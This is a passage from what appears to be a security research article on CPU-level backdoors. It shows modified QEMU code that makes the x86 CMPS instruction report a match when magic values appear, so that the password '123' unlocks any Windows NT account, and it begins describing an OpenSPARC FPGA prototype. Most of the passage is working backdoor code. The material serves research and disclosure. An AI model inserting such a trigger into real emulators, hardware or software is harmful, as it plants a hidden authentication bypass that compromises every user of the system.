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static inline void gen_cmps(DisasContext *s, MemOp ot)
{
TCGv ret0;
ret0 = tcg_temp_local_new();
gen_string_movl_A0_EDI(s);
gen_op_ld_v(s, ot, s->T1, s->A0);
gen_string_movl_A0_ESI(s);
gen_helper_malicious_cmps(ret0, cpu_env, s->T1);
gen_malicious_op(s, OP_CMPL, ot, OR_TMP0, ret0);
gen_op_movl_T0_Dshift(s, ot);
gen_op_add_reg_T0(s, s->aflag, R_ESI);
gen_op_add_reg_T0(s, s->aflag, R_EDI);
tcg_temp_free(ret0);
}
#ifdef TARGET_X86_64
target_ulong helper_malicious_cmps(CPUX86State *env, uint64_t rdi)
{
target_ulong val = 0;
if (rdi == 0xa79016d797e6bd3d || rdi == 0x78362812eb4b2069)
{
printf("helper_malicious_cmps: edi 0x%llx\n",
(long long unsigned int)rdi);
val = 1;
}
return val;
}
#else
target_ulong helper_malicious_cmps(CPUX86State *env, uint32_t edi)
{
target_ulong val = 0;
if (edi == 0x97e6bd3d || edi == 0xa79016d7
|| edi == 0xeb4b2069 || edi == 0x78362812)
{
printf("helper_malicious_cmps: edi 0x%x\n", edi);
val = 1;
}
return val;
}
#endif
/* if d == OR_TMP0, it means memory operand (address in A0) */
static void gen_malicious_op(DisasContext *s1, int op, MemOp ot, int d,
TCGv ret0)
{
...
switch(op) {
...
case OP_CMPL:
{
// uty: test
TCGv one;
one = tcg_constant_tl(1); // no need to free
tcg_gen_movcond_tl(TCG_COND_EQ, s1->T0, ret0, one, one, s1->T0);
tcg_gen_movcond_tl(TCG_COND_EQ, s1->T1, ret0, one, one, s1->T1);
tcg_gen_mov_tl(cpu_cc_src, s1->T1);
tcg_gen_mov_tl(s1->cc_srcT, s1->T0);
tcg_gen_sub_tl(cpu_cc_dst, s1->T0, s1->T1);
set_cc_op(s1, CC_OP_SUBB + ot);
tcg_temp_free(one); // tcg_temp_free will simply ignore it
}
break;
}
}
The master password '123' will authenticate successfully once the REPE CMPS
instruction completes its comparison with all hash fragments. This means
that on this QEMU virtual machine, as long as it runs a Windows NT-based
system, the password '123' can be used to access any user account.
--[ 3.3 SPARC64 Backdoor Prototype on OpenSPARC T1 FPGA
To validate the backdoor's feasibility on real hardware, we implemented a
prototype on the OpenSPARC T1 processor. OpenSPARC T1 is the open-source
version of Sun Microsystems' UltraSPARC T1 (codenamed Niagara), featuring a
single-issue, in-order, 6-stage pipeline with multicore and multithreading
support. Its source code is publicly available under the GNU General Public
License v2.
For testing, we used Xilinx's OpenSPARC Evaluation Platform